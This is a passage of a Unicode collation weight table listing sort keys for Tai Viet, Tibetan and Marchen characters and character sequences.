[.2DEA.0020.0002][.2E18.0020.0002] # -AAB6 AA87 ; [.2DEA.0020.0002][.2E19.0020.0002] # -AAB9 AA87 ; [.2DEA.0020.0002][.2E1C.0020.0002] # -AABB AA87 ; [.2DEA.0020.0002][.2E1E.0020.0002] # -AABC AA87 ; [.2DEA.0020.0002][.2E1F.0020.0002] # -AA88 ; [.2DEB.0020.0002] # TAI VIET LETTER LOW NGO -AAB5 AA88 ; [.2DEB.0020.0002][.2E18.0020.0002] # -AAB6 AA88 ; [.2DEB.0020.0002][.2E19.0020.0002] # -AAB9 AA88 ; [.2DEB.0020.0002][.2E1C.0020.0002] # -AABB AA88 ; [.2DEB.0020.0002][.2E1E.0020.0002] # -AABC AA88 ; [.2DEB.0020.0002][.2E1F.0020.0002] # -AA89 ; [.2DEC.0020.0002] # TAI VIET LETTER HIGH NGO -AAB5 AA89 ; [.2DEC.0020.0002][.2E18.0020.0002] # -AAB6 AA89 ; [.2DEC.0020.0002][.2E19.0020.0002] # -AAB9 AA89 ; [.2DEC.0020.0002][.2E1C.0020.0002] # -AABB AA89 ; [.2DEC.0020.0002][.2E1E.0020.0002] # -AABC AA89 ; [.2DEC.0020.0002][.2E1F.0020.0002] # -AA8A ; [.2DED.0020.0002] # TAI VIET LETTER LOW CO -AAB5 AA8A ; [.2DED.0020.0002][.2E18.0020.0002] # -AAB6 AA8A ; [.2DED.0020.0002][.2E19.0020.0002] # -AAB9 AA8A ; [.2DED.0020.0002][.2E1C.0020.0002] # -AABB AA8A ; [.2DED.0020.0002][.2E1E.0020.0002] # -AABC AA8A ; [.2DED.0020.0002][.2E1F.0020.0002] # -AA8B ; [.2DEE.0020.0002] # TAI VIET LETTER HIGH CO -AAB5 AA8B ; [.2DEE.0020.0002][.2E18.0020.0002] # -AAB6 AA8B ; [.2DEE.0020.0002][.2E19.0020.0002] # -AAB9 AA8B ; [.2DEE.0020.0002][.2E1C.0020.0002] # -AABB AA8B ; [.2DEE.0020.0002][.2E1E.0020.0002] # -AABC AA8B ; [.2DEE.0020.0002][.2E1F.0020.0002] # -AA8C ; [.2DEF.0020.0002] # TAI VIET LETTER LOW CHO -AAB5 AA8C ; [.2DEF.0020.0002][.2E18.0020.0002] # -AAB6 AA8C ; [.2DEF.0020.0002][.2E19.0020.0002] # -AAB9 AA8C ; [.2DEF.0020.0002][.2E1C.0020.0002] # -AABB AA8C ; [.2DEF.0020.0002][.2E1E.0020.0002] # -AABC AA8C ; [.2DEF.0020.0002][.2E1F.0020.0002] # -AA8D ; [.2DF0.0020.0002] # TAI VIET LETTER HIGH CHO -AAB5 AA8D ; [.2DF0.0020.0002][.2E18.0020.0002] # -AAB6 AA8D ; [.2DF0.0020.0002][.2E19.0020.0002] # -AAB9 AA8D ; [.2DF0.0020.0002][.2E1C.0020.0002] # -AABB AA8D ; [.2DF0.0020.0002][.2E1E.0020.0002] # -AABC AA8D ; [.2DF0.0020.0002][.2E1F.0020.0002] # -AA8E ; [.2DF1.0020.0002] # TAI VIET LETTER LOW SO -AAB5 AA8E ; [.2DF1.0020.0002][.2E18.0020.0002] # -AAB6 AA8E ; [.2DF1.0020.0002][.2E19.0020.0002] # -AAB9 AA8E ; [.2DF1.0020.0002][.2E1C.0020.0002] # -AABB AA8E ; [.2DF1.0020.0002][.2E1E.0020.0002] # -AABC AA8E ; [.2DF1.0020.0002][.2E1F.0020.0002] # -AA8F ; [.2DF2.0020.0002] # TAI VIET LETTER HIGH SO -AAB5 AA8F ; [.2DF2.0020.0002][.2E18.0020.0002] # -AAB6 AA8F ; [.2DF2.0020.0002][.2E19.0020.0002] # -AAB9 AA8F ; [.2DF2.0020.0002][.2E1C.0020.0002] # -AABB AA8F ; [.2DF2.0020.0002][.2E1E.0020.0002] # -AABC AA8F ; [.2DF2.0020.0002][.2E1F.0020.0002] # -AA90 ; [.2DF3.0020.0002] # TAI VIET LETTER LOW NYO -AAB5 AA90 ; [.2DF3.0020.0002][.2E18.0020.0002] # -AAB6 AA90 ; [.2DF3.0020.0002][.2E19.0020.0002] # -AAB9 AA90 ; [.2DF3.0020.0002][.2E1C.0020.0002] # -AABB AA90 ; [.2DF3.0020.0002][.2E1E.0020.0002] # -AABC AA90 ; [.2DF3.0020.0002][.2E1F.0020.0002] # -AA91 ; [.2DF4.0020.0002] # TAI VIET LETTER HIGH NYO -AAB5 AA91 ; [.2DF4.0020.0002][.2E18.0020.0002] # -AAB6 AA91 ; [.2DF4.0020.0002][.2E19.0020.0002] # -AAB9 AA91 ; [.2DF4.0020.0002][.2E1C.0020.0002] # -AABB AA91 ; [.2DF4.0020.0002][.2E1E.0020.0002] # -AABC AA91 ; [.2DF4.0020.0002][.2E1F.0020.0002] # -AA92 ; [.2DF5.0020.0002] # TAI VIET LETTER LOW DO -AAB5 AA92 ; [.2DF5.0020.0002][.2E18.0020.0002] # -AAB6 AA92 ; [.2DF5.0020.0002][.2E19.0020.0002] # -AAB9 AA92 ; [.2DF5.0020.0002][.2E1C.0020.0002] # -AABB AA92 ; [.2DF5.0020.0002][.2E1E.0020.0002] # -AABC AA92 ; [.2DF5.0020.0002][.2E1F.0020.0002] # -AA93 ; [.2DF6.0020.0002] # TAI VIET LETTER HIGH DO -AAB5 AA93 ; [.2DF6.0020.0002][.2E18.0020.0002] # -AAB6 AA93 ; [.2DF6.0020.0002][.2E19.0020.0002] # -AAB9 AA93 ; [.2DF6.0020.0002][.2E1C.0020.0002] # -AABB AA93 ; [.2DF6.0020.0002][.2E1E.0020.0002] # -AABC AA93 ; [.2DF6.0020.0002][.2E1F.0020.0002] # -AA94 ; [.2DF7.0020.0002] # TAI VIET LETTER LOW TO -AAB5 AA94 ; [.2DF7.0020.0002][.2E18.0020.0002] # -AAB6 AA94 ; [.2DF7.0020.0002][.2E19.0020.0002] # -AAB9 AA94 ; [.2DF7.0020.0002][.2E1C.0020.0002] # -AABB AA94 ; [.2DF7.0020.0002][.2E1E.0020.0002] # -AABC AA94 ; [.2DF7.0020.0002][.2E1F.0020.0002] # -AA95 ; [.2DF8.0020.0002] # TAI VIET LETTER HIGH TO -AAB5 AA95 ; [.2DF8.0020.0002][.2E18.0020.0002] # -AAB6 AA95 ; [.2DF8.0020.0002][.2E19.0020.0002] # -AAB9 AA95 ; [.2DF8.0020.0002][.2E1C.0020.0002] # -AABB AA95 ; [.2DF8.0020.0002][.2E1E.0020.0002] # -AABC AA95 ; [.2DF8.0020.0002][.2E1F.0020.0002] # -AA96 ; [.2DF9.0020.0002] # TAI VIET LETTER LOW THO -AAB5 AA96 ; [.2DF9.0020.0002][.2E18.0020.0002] # -AAB6 AA96 ; [.2DF9.0020.0002][.2E19.0020.0002] # -AAB9 AA96 ; [.2DF9.0020.0002][.2E1C.0020.0002] # -AABB AA96 ; [.2DF9.0020.0002][.2E1E.0020.0002] # -AABC AA96 ; [.2DF9.0020.0002][.2E1F.0020.0002] # -AA97 ; [.2DFA.0020.0002] # TAI VIET LETTER HIGH THO -AAB5 AA97 ; [.2DFA.0020.0002][.2E18.0020.0002] # -AAB6 AA97 ; [.2DFA.0020.0002][.2E19.0020.0002] # -AAB9 AA97 ; [.2DFA.0020.0002][.2E1C.0020.0002] # -AABB AA97 ; [.2DFA.0020.0002][.2E1E.0020.0002] # -AABC AA97 ; [.2DFA.0020.0002][.2E1F.0020.0002] # -AA98 ; [.2DFB.0020.0002] # TAI VIET LETTER LOW NO -AAB5 AA98 ; [.2DFB.0020.0002][.2E18.0020.0002] # -AAB6 AA98 ; [.2DFB.0020.0002][.2E19.0020.0002] # -AAB9 AA98 ; [.2DFB.0020.0002][.2E1C.0020.0002] # -AABB AA98 ; [.2DFB.0020.0002][.2E1E.0020.0002] # -AABC AA98 ; [.2DFB.0020.0002][.2E1F.0020.0002] # -AA99 ; [.2DFC.0020.0002] # TAI VIET LETTER HIGH NO -AAB5 AA99 ; [.2DFC.0020.0002][.2E18.0020.0002] # -AAB6 AA99 ; [.2DFC.0020.0002][.2E19.0020.0002] # -AAB9 AA99 ; [.2DFC.0020.0002][.2E1C.0020.0002] # -AABB AA99 ; [.2DFC.0020.0002][.2E1E.0020.0002] # -AABC AA99 ; [.2DFC.0020.0002][.2E1F.0020.0002] # -AA9A ; [.2DFD.0020.0002] # TAI VIET LETTER LOW BO -AAB5 AA9A ; [.2DFD.0020.0002][.2E18.0020.0002] # -AAB6 AA9A ; [.2DFD.0020.0002][.2E19.0020.0002] # -AAB9 AA9A ; [.2DFD.0020.0002][.2E1C.0020.0002] # -AABB AA9A ; [.2DFD.0020.0002][.2E1E.0020.0002] # -AABC AA9A ; [.2DFD.0020.0002][.2E1F.0020.0002] # -AA9B ; [.2DFE.0020.0002] # TAI VIET LETTER HIGH BO -AAB5 AA9B ; [.2DFE.0020.0002][.2E18.0020.0002] # -AAB6 AA9B ; [.2DFE.0020.0002][.2E19.0020.0002] # -AAB9 AA9B ; [.2DFE.0020.0002][.2E1C.0020.0002] # -AABB AA9B ; [.2DFE.0020.0002][.2E1E.0020.0002] # -AABC AA9B ; [.2DFE.0020.0002][.2E1F.0020.0002] # -AA9C ; [.2DFF.0020.0002] # TAI VIET LETTER LOW PO -AAB5 AA9C ; [.2DFF.0020.0002][.2E18.0020.0002] # -AAB6 AA9C ; [.2DFF.0020.0002][.2E19.0020.0002] # -AAB9 AA9C ; [.2DFF.0020.0002][.2E1C.0020.0002] # -AABB AA9C ; [.2DFF.0020.0002][.2E1E.0020.0002] # -AABC AA9C ; [.2DFF.0020.0002][.2E1F.0020.0002] # -AA9D ; [.2E00.0020.0002] # TAI VIET LETTER HIGH PO -AAB5 AA9D ; [.2E00.0020.0002][.2E18.0020.0002] # -AAB6 AA9D ; [.2E00.0020.0002][.2E19.0020.0002] # -AAB9 AA9D ; [.2E00.0020.0002][.2E1C.0020.0002] # -AABB AA9D ; [.2E00.0020.0002][.2E1E.0020.0002] # -AABC AA9D ; [.2E00.0020.0002][.2E1F.0020.0002] # -AA9E ; [.2E01.0020.0002] # TAI VIET LETTER LOW PHO -AAB5 AA9E ; [.2E01.0020.0002][.2E18.0020.0002] # -AAB6 AA9E ; [.2E01.0020.0002][.2E19.0020.0002] # -AAB9 AA9E ; [.2E01.0020.0002][.2E1C.0020.0002] # -AABB AA9E ; [.2E01.0020.0002][.2E1E.0020.0002] # -AABC AA9E ; [.2E01.0020.0002][.2E1F.0020.0002] # -AA9F ; [.2E02.0020.0002] # TAI VIET LETTER HIGH PHO -AAB5 AA9F ; [.2E02.0020.0002][.2E18.0020.0002] # -AAB6 AA9F ; [.2E02.0020.0002][.2E19.0020.0002] # -AAB9 AA9F ; [.2E02.0020.0002][.2E1C.0020.0002] # -AABB AA9F ; [.2E02.0020.0002][.2E1E.0020.0002] # -AABC AA9F ; [.2E02.0020.0002][.2E1F.0020.0002] # -AAA0 ; [.2E03.0020.0002] # TAI VIET LETTER LOW FO -AAB5 AAA0 ; [.2E03.0020.0002][.2E18.0020.0002] # -AAB6 AAA0 ; [.2E03.0020.0002][.2E19.0020.0002] # -AAB9 AAA0 ; [.2E03.0020.0002][.2E1C.0020.0002] # -AABB AAA0 ; [.2E03.0020.0002][.2E1E.0020.0002] # -AABC AAA0 ; [.2E03.0020.0002][.2E1F.0020.0002] # -AAA1 ; [.2E04.0020.0002] # TAI VIET LETTER HIGH FO -AAB5 AAA1 ; [.2E04.0020.0002][.2E18.0020.0002] # -AAB6 AAA1 ; [.2E04.0020.0002][.2E19.0020.0002] # -AAB9 AAA1 ; [.2E04.0020.0002][.2E1C.0020.0002] # -AABB AAA1 ; [.2E04.0020.0002][.2E1E.0020.0002] # -AABC AAA1 ; [.2E04.0020.0002][.2E1F.0020.0002] # -AAA2 ; [.2E05.0020.0002] # TAI VIET LETTER LOW MO -AAB5 AAA2 ; [.2E05.0020.0002][.2E18.0020.0002] # -AAB6 AAA2 ; [.2E05.0020.0002][.2E19.0020.0002] # -AAB9 AAA2 ; [.2E05.0020.0002][.2E1C.0020.0002] # -AABB AAA2 ; [.2E05.0020.0002][.2E1E.0020.0002] # -AABC AAA2 ; [.2E05.0020.0002][.2E1F.0020.0002] # -AAA3 ; [.2E06.0020.0002] # TAI VIET LETTER HIGH MO -AAB5 AAA3 ; [.2E06.0020.0002][.2E18.0020.0002] # -AAB6 AAA3 ; [.2E06.0020.0002][.2E19.0020.0002] # -AAB9 AAA3 ; [.2E06.0020.0002][.2E1C.0020.0002] # -AABB AAA3 ; [.2E06.0020.0002][.2E1E.0020.0002] # -AABC AAA3 ; [.2E06.0020.0002][.2E1F.0020.0002] # -AAA4 ; [.2E07.0020.0002] # TAI VIET LETTER LOW YO -AAB5 AAA4 ; [.2E07.0020.0002][.2E18.0020.0002] # -AAB6 AAA4 ; [.2E07.0020.0002][.2E19.0020.0002] # -AAB9 AAA4 ; [.2E07.0020.0002][.2E1C.0020.0002] # -AABB AAA4 ; [.2E07.0020.0002][.2E1E.0020.0002] # -AABC AAA4 ; [.2E07.0020.0002][.2E1F.0020.0002] # -AAA5 ; [.2E08.0020.0002] # TAI VIET LETTER HIGH YO -AAB5 AAA5 ; [.2E08.0020.0002][.2E18.0020.0002] # -AAB6 AAA5 ; [.2E08.0020.0002][.2E19.0020.0002] # -AAB9 AAA5 ; [.2E08.0020.0002][.2E1C.0020.0002] # -AABB AAA5 ; [.2E08.0020.0002][.2E1E.0020.0002] # -AABC AAA5 ; [.2E08.0020.0002][.2E1F.0020.0002] # -AAA6 ; [.2E09.0020.0002] # TAI VIET LETTER LOW RO -AAB5 AAA6 ; [.2E09.0020.0002][.2E18.0020.0002] # -AAB6 AAA6 ; [.2E09.0020.0002][.2E19.0020.0002] # -AAB9 AAA6 ; [.2E09.0020.0002][.2E1C.0020.0002] # -AABB AAA6 ; [.2E09.0020.0002][.2E1E.0020.0002] # -AABC AAA6 ; [.2E09.0020.0002][.2E1F.0020.0002] # -AAA7 ; [.2E0A.0020.0002] # TAI VIET LETTER HIGH RO -AAB5 AAA7 ; [.2E0A.0020.0002][.2E18.0020.0002] # -AAB6 AAA7 ; [.2E0A.0020.0002][.2E19.0020.0002] # -AAB9 AAA7 ; [.2E0A.0020.0002][.2E1C.0020.0002] # -AABB AAA7 ; [.2E0A.0020.0002][.2E1E.0020.0002] # -AABC AAA7 ; [.2E0A.0020.0002][.2E1F.0020.0002] # -AAA8 ; [.2E0B.0020.0002] # TAI VIET LETTER LOW LO -AAB5 AAA8 ; [.2E0B.0020.0002][.2E18.0020.0002] # -AAB6 AAA8 ; [.2E0B.0020.0002][.2E19.0020.0002] # -AAB9 AAA8 ; [.2E0B.0020.0002][.2E1C.0020.0002] # -AABB AAA8 ; [.2E0B.0020.0002][.2E1E.0020.0002] # -AABC AAA8 ; [.2E0B.0020.0002][.2E1F.0020.0002] # -AAA9 ; [.2E0C.0020.0002] # TAI VIET LETTER HIGH LO -AAB5 AAA9 ; [.2E0C.0020.0002][.2E18.0020.0002] # -AAB6 AAA9 ; [.2E0C.0020.0002][.2E19.0020.0002] # -AAB9 AAA9 ; [.2E0C.0020.0002][.2E1C.0020.0002] # -AABB AAA9 ; [.2E0C.0020.0002][.2E1E.0020.0002] # -AABC AAA9 ; [.2E0C.0020.0002][.2E1F.0020.0002] # -AAAA ; [.2E0D.0020.0002] # TAI VIET LETTER LOW VO -AAB5 AAAA ; [.2E0D.0020.0002][.2E18.0020.0002] # -AAB6 AAAA ; [.2E0D.0020.0002][.2E19.0020.0002] # -AAB9 AAAA ; [.2E0D.0020.0002][.2E1C.0020.0002] # -AABB AAAA ; [.2E0D.0020.0002][.2E1E.0020.0002] # -AABC AAAA ; [.2E0D.0020.0002][.2E1F.0020.0002] # -AAAB ; [.2E0E.0020.0002] # TAI VIET LETTER HIGH VO -AAB5 AAAB ; [.2E0E.0020.0002][.2E18.0020.0002] # -AAB6 AAAB ; [.2E0E.0020.0002][.2E19.0020.0002] # -AAB9 AAAB ; [.2E0E.0020.0002][.2E1C.0020.0002] # -AABB AAAB ; [.2E0E.0020.0002][.2E1E.0020.0002] # -AABC AAAB ; [.2E0E.0020.0002][.2E1F.0020.0002] # -AAAC ; [.2E0F.0020.0002] # TAI VIET LETTER LOW HO -AAB5 AAAC ; [.2E0F.0020.0002][.2E18.0020.0002] # -AAB6 AAAC ; [.2E0F.0020.0002][.2E19.0020.0002] # -AAB9 AAAC ; [.2E0F.0020.0002][.2E1C.0020.0002] # -AABB AAAC ; [.2E0F.0020.0002][.2E1E.0020.0002] # -AABC AAAC ; [.2E0F.0020.0002][.2E1F.0020.0002] # -AAAD ; [.2E10.0020.0002] # TAI VIET LETTER HIGH HO -AAB5 AAAD ; [.2E10.0020.0002][.2E18.0020.0002] # -AAB6 AAAD ; [.2E10.0020.0002][.2E19.0020.0002] # -AAB9 AAAD ; [.2E10.0020.0002][.2E1C.0020.0002] # -AABB AAAD ; [.2E10.0020.0002][.2E1E.0020.0002] # -AABC AAAD ; [.2E10.0020.0002][.2E1F.0020.0002] # -AAAE ; [.2E11.0020.0002] # TAI VIET LETTER LOW O -AAB5 AAAE ; [.2E11.0020.0002][.2E18.0020.0002] # -AAB6 AAAE ; [.2E11.0020.0002][.2E19.0020.0002] # -AAB9 AAAE ; [.2E11.0020.0002][.2E1C.0020.0002] # -AABB AAAE ; [.2E11.0020.0002][.2E1E.0020.0002] # -AABC AAAE ; [.2E11.0020.0002][.2E1F.0020.0002] # -AAAF ; [.2E12.0020.0002] # TAI VIET LETTER HIGH O -AAB5 AAAF ; [.2E12.0020.0002][.2E18.0020.0002] # -AAB6 AAAF ; [.2E12.0020.0002][.2E19.0020.0002] # -AAB9 AAAF ; [.2E12.0020.0002][.2E1C.0020.0002] # -AABB AAAF ; [.2E12.0020.0002][.2E1E.0020.0002] # -AABC AAAF ; [.2E12.0020.0002][.2E1F.0020.0002] # -AAB0 ; [.2E13.0020.0002] # TAI VIET MAI KANG -AAB1 ; [.2E14.0020.0002] # TAI VIET VOWEL AA -AAB2 ; [.2E15.0020.0002] # TAI VIET VOWEL I -AAB3 ; [.2E16.0020.0002] # TAI VIET VOWEL UE -AAB4 ; [.2E17.0020.0002] # TAI VIET VOWEL U -AAB5 ; [.2E18.0020.0002] # TAI VIET VOWEL E -AAB6 ; [.2E19.0020.0002] # TAI VIET VOWEL O -AAB7 ; [.2E1A.0020.0002] # TAI VIET MAI KHIT -AAB8 ; [.2E1B.0020.0002] # TAI VIET VOWEL IA -AAB9 ; [.2E1C.0020.0002] # TAI VIET VOWEL UEA -AABA ; [.2E1D.0020.0002] # TAI VIET VOWEL UA -AABB ; [.2E1E.0020.0002] # TAI VIET VOWEL AUE -AABC ; [.2E1F.0020.0002] # TAI VIET VOWEL AY -AABD ; [.2E20.0020.0002] # TAI VIET VOWEL AN -AABE ; [.2E21.0020.0002] # TAI VIET VOWEL AM -AAC0 ; [.2E22.0020.0002] # TAI VIET TONE MAI NUENG -AAC2 ; [.2E23.0020.0002] # TAI VIET TONE MAI SONG -AADB ; [.2E24.0020.0002] # TAI VIET SYMBOL KON -AADC ; [.2E25.0020.0002] # TAI VIET SYMBOL NUENG -0F40 ; [.2E26.0020.0002] # TIBETAN LETTER KA -0F69 ; [.2E26.0020.0002][.2E67.0020.0002] # TIBETAN LETTER KSSA -0F90 ; [.2E27.0020.0002] # TIBETAN SUBJOINED LETTER KA -0FB9 ; [.2E27.0020.0002][.2E67.0020.0002] # TIBETAN SUBJOINED LETTER KSSA -0F6B ; [.2E28.0020.0002] # TIBETAN LETTER KKA -0F41 ; [.2E29.0020.0002] # TIBETAN LETTER KHA -0F91 ; [.2E2A.0020.0002] # TIBETAN SUBJOINED LETTER KHA -0F42 ; [.2E2B.0020.0002] # TIBETAN LETTER GA -0F43 ; [.2E2B.0020.0002][.2E6B.0020.0002] # TIBETAN LETTER GHA -0F92 ; [.2E2C.0020.0002] # TIBETAN SUBJOINED LETTER GA -0F93 ; [.2E2C.0020.0002][.2E6B.0020.0002] # TIBETAN SUBJOINED LETTER GHA -0F44 ; [.2E2D.0020.0002] # TIBETAN LETTER NGA -0F94 ; [.2E2E.0020.0002] # TIBETAN SUBJOINED LETTER NGA -0F45 ; [.2E2F.0020.0002] # TIBETAN LETTER CA -0F95 ; [.2E30.0020.0002] # TIBETAN SUBJOINED LETTER CA -0F46 ; [.2E31.0020.0002] # TIBETAN LETTER CHA -0F96 ; [.2E32.0020.0002] # TIBETAN SUBJOINED LETTER CHA -0F47 ; [.2E33.0020.0002] # TIBETAN LETTER JA -0F97 ; [.2E34.0020.0002] # TIBETAN SUBJOINED LETTER JA -0F49 ; [.2E35.0020.0002] # TIBETAN LETTER NYA -0F99 ; [.2E36.0020.0002] # TIBETAN SUBJOINED LETTER NYA -0F4A ; [.2E37.0020.0002] # TIBETAN LETTER TTA -0F9A ; [.2E38.0020.0002] # TIBETAN SUBJOINED LETTER TTA -0F4B ; [.2E39.0020.0002] # TIBETAN LETTER TTHA -0F9B ; [.2E3A.0020.0002] # TIBETAN SUBJOINED LETTER TTHA -0F4C ; [.2E3B.0020.0002] # TIBETAN LETTER DDA -0F4D ; [.2E3B.0020.0002][.2E6B.0020.0002] # TIBETAN LETTER DDHA -0F9C ; [.2E3C.0020.0002] # TIBETAN SUBJOINED LETTER DDA -0F9D ; [.2E3C.0020.0002][.2E6B.0020.0002] # TIBETAN SUBJOINED LETTER DDHA -0F4E ; [.2E3D.0020.0002] # TIBETAN LETTER NNA -0F9E ; [.2E3E.0020.0002] # TIBETAN SUBJOINED LETTER NNA -0F4F ; [.2E3F.0020.0002] # TIBETAN LETTER TA -0F9F ; [.2E40.0020.0002] # TIBETAN SUBJOINED LETTER TA -0F50 ; [.2E41.0020.0002] # TIBETAN LETTER THA -0FA0 ; [.2E42.0020.0002] # TIBETAN SUBJOINED LETTER THA -0F51 ; [.2E43.0020.0002] # TIBETAN LETTER DA -0F52 ; [.2E43.0020.0002][.2E6B.0020.0002] # TIBETAN LETTER DHA -0FA1 ; [.2E44.0020.0002] # TIBETAN SUBJOINED LETTER DA -0FA2 ; [.2E44.0020.0002][.2E6B.0020.0002] # TIBETAN SUBJOINED LETTER DHA -0F53 ; [.2E45.0020.0002] # TIBETAN LETTER NA -0FA3 ; [.2E46.0020.0002] # TIBETAN SUBJOINED LETTER NA -0F54 ; [.2E47.0020.0002] # TIBETAN LETTER PA -0FA4 ; [.2E48.0020.0002] # TIBETAN SUBJOINED LETTER PA -0F55 ; [.2E49.0020.0002] # TIBETAN LETTER PHA -0FA5 ; [.2E4A.0020.0002] # TIBETAN SUBJOINED LETTER PHA -0F56 ; [.2E4B.0020.0002] # TIBETAN LETTER BA -0F57 ; [.2E4B.0020.0002][.2E6B.0020.0002] # TIBETAN LETTER BHA -0FA6 ; [.2E4C.0020.0002] # TIBETAN SUBJOINED LETTER BA -0FA7 ; [.2E4C.0020.0002][.2E6B.0020.0002] # TIBETAN SUBJOINED LETTER BHA -0F58 ; [.2E4D.0020.0002] # TIBETAN LETTER MA -0FA8 ; [.2E4E.0020.0002] # TIBETAN SUBJOINED LETTER MA -0F59 ; [.2E4F.0020.0002] # TIBETAN LETTER TSA -0FA9 ; [.2E50.0020.0002] # TIBETAN SUBJOINED LETTER TSA -0F5A ; [.2E51.0020.0002] # TIBETAN LETTER TSHA -0FAA ; [.2E52.0020.0002] # TIBETAN SUBJOINED LETTER TSHA -0F5B ; [.2E53.0020.0002] # TIBETAN LETTER DZA -0F5C ; [.2E53.0020.0002][.2E6B.0020.0002] # TIBETAN LETTER DZHA -0FAB ; [.2E54.0020.0002] # TIBETAN SUBJOINED LETTER DZA -0FAC ; [.2E54.0020.0002][.2E6B.0020.0002] # TIBETAN SUBJOINED LETTER DZHA -0F5D ; [.2E55.0020.0002] # TIBETAN LETTER WA -0FAD ; [.2E56.0020.0002] # TIBETAN SUBJOINED LETTER WA -0FBA ; [.2E56.0020.0004][.0000.0111.0004] # TIBETAN SUBJOINED LETTER FIXED-FORM WA -0F5E ; [.2E57.0020.0002] # TIBETAN LETTER ZHA -0FAE ; [.2E58.0020.0002] # TIBETAN SUBJOINED LETTER ZHA -0F5F ; [.2E59.0020.0002] # TIBETAN LETTER ZA -0FAF ; [.2E5A.0020.0002] # TIBETAN SUBJOINED LETTER ZA -0F60 ; [.2E5B.0020.0002] # TIBETAN LETTER -A -0FB0 ; [.2E5C.0020.0002] # TIBETAN SUBJOINED LETTER -A -0F61 ; [.2E5D.0020.0002] # TIBETAN LETTER YA -0FB1 ; [.2E5E.0020.0002] # TIBETAN SUBJOINED LETTER YA -0FBB ; [.2E5E.0020.0004][.0000.0111.0004] # TIBETAN SUBJOINED LETTER FIXED-FORM YA -0F62 ; [.2E5F.0020.0002] # TIBETAN LETTER RA -0F6A ; [.2E5F.0020.0004][.0000.0111.0004] # TIBETAN LETTER FIXED-FORM RA -0FB2 ; [.2E60.0020.0002] # TIBETAN SUBJOINED LETTER RA -0FBC ; [.2E60.0020.0004][.0000.0111.0004] # TIBETAN SUBJOINED LETTER FIXED-FORM RA -0F6C ; [.2E61.0020.0002] # TIBETAN LETTER RRA -0F63 ; [.2E62.0020.0002] # TIBETAN LETTER LA -0FB3 ; [.2E63.0020.0002] # TIBETAN SUBJOINED LETTER LA -0F64 ; [.2E64.0020.0002] # TIBETAN LETTER SHA -0FB4 ; [.2E65.0020.0002] # TIBETAN SUBJOINED LETTER SHA -0F65 ; [.2E66.0020.0002] # TIBETAN LETTER SSA -0FB5 ; [.2E67.0020.0002] # TIBETAN SUBJOINED LETTER SSA -0F66 ; [.2E68.0020.0002] # TIBETAN LETTER SA -0FB6 ; [.2E69.0020.0002] # TIBETAN SUBJOINED LETTER SA -0F67 ; [.2E6A.0020.0002] # TIBETAN LETTER HA -0FB7 ; [.2E6B.0020.0002] # TIBETAN SUBJOINED LETTER HA -0F68 ; [.2E6C.0020.0002] # TIBETAN LETTER A -0F00 ; [.2E6C.0020.0004][.2E83.0020.0004][.0000.00C4.0004] # TIBETAN SYLLABLE OM -0FB8 ; [.2E6D.0020.0002] # TIBETAN SUBJOINED LETTER A -0F88 ; [.2E6E.0020.0002] # TIBETAN SIGN LCE TSA CAN -0F8D ; [.2E6F.0020.0002] # TIBETAN SUBJOINED SIGN LCE TSA CAN -0F89 ; [.2E70.0020.0002] # TIBETAN SIGN MCHU CAN -0F8E ; [.2E71.0020.0002] # TIBETAN SUBJOINED SIGN MCHU CAN -0F8C ; [.2E72.0020.0002] # TIBETAN SIGN INVERTED MCHU CAN -0F8F ; [.2E73.0020.0002] # TIBETAN SUBJOINED SIGN INVERTED MCHU CAN -0F8A ; [.2E74.0020.0002] # TIBETAN SIGN GRU CAN RGYINGS -0F8B ; [.2E75.0020.0002] # TIBETAN SIGN GRU MED RGYINGS -0F71 ; [.2E76.0020.0002] # TIBETAN VOWEL SIGN AA -0F72 ; [.2E77.0020.0002] # TIBETAN VOWEL SIGN I -0F73 ; [.2E78.0020.0002] # TIBETAN VOWEL SIGN II -0F71 0F72 ; [.2E78.0020.0002] # TIBETAN VOWEL SIGN II -0F80 ; [.2E79.0020.0002] # TIBETAN VOWEL SIGN REVERSED I -0F81 ; [.2E7A.0020.0002] # TIBETAN VOWEL SIGN REVERSED II -0F71 0F80 ; [.2E7A.0020.0002] # TIBETAN VOWEL SIGN REVERSED II -0F74 ; [.2E7B.0020.0002] # TIBETAN VOWEL SIGN U -0F75 ; [.2E7C.0020.0002] # TIBETAN VOWEL SIGN UU -0F71 0F74 ; [.2E7C.0020.0002] # TIBETAN VOWEL SIGN UU -0F76 ; [.2E7D.0020.0002] # TIBETAN VOWEL SIGN VOCALIC R -0FB2 0F80 ; [.2E7D.0020.0002] # TIBETAN VOWEL SIGN VOCALIC R -0F77 ; [.2E7E.0020.0002] # TIBETAN VOWEL SIGN VOCALIC RR -0FB2 0F71 0F80 ; [.2E7E.0020.0002] # TIBETAN VOWEL SIGN VOCALIC RR -0FB2 0F81 ; [.2E7E.0020.0002] # TIBETAN VOWEL SIGN VOCALIC RR -0F78 ; [.2E7F.0020.0002] # TIBETAN VOWEL SIGN VOCALIC L -0FB3 0F80 ; [.2E7F.0020.0002] # TIBETAN VOWEL SIGN VOCALIC L -0F79 ; [.2E80.0020.0002] # TIBETAN VOWEL SIGN VOCALIC LL -0FB3 0F71 0F80 ; [.2E80.0020.0002] # TIBETAN VOWEL SIGN VOCALIC LL -0FB3 0F81 ; [.2E80.0020.0002] # TIBETAN VOWEL SIGN VOCALIC LL -0F7A ; [.2E81.0020.0002] # TIBETAN VOWEL SIGN E -0F7B ; [.2E82.0020.0002] # TIBETAN VOWEL SIGN EE -0F7C ; [.2E83.0020.0002] # TIBETAN VOWEL SIGN O -0F7D ; [.2E84.0020.0002] # TIBETAN VOWEL SIGN OO -0F84 ; [.2E85.0020.0002] # TIBETAN MARK HALANTA -11C72 ; [.2E86.0020.0002] # MARCHEN LETTER KA -11C92 ; [.2E87.0020.0002] # MARCHEN SUBJOINED LETTER KA -11C73 ; [.2E88.0020.0002] # MARCHEN LETTER KHA -11C93 ; [.2E89.0020.0002] # MARCHEN SUBJOINED LETTER KHA -11C74 ; [.2E8A.0020.0002] # MARCHEN LETTER GA -11C94 ; [.2E8B.0020.0002] # MARCHEN SUBJOINED LETTER GA -11C75 ; [.2E8C.0020.0002] # MARCHEN LETTER NGA -11C95 ; [.2E8D.0020.0002] # MARCHEN SUBJOINED LETTER NGA -11C76 ; [.2E8E.0020.0002] # MARCHEN LETTER CA -11C96 ; [.2E8F.0020.0002] # MARCHEN SUBJOINED LETTER CA -11C77 ; [.2E90.0020.0002] # MARCHEN LETTER CHA -11C97 ; [.2E91.0020.0002] # MARCHEN SUBJOINED LETTER CHA -11C78 ; [.2E92.0020.0002] # MARCHEN LETTER JA -11C98 ; 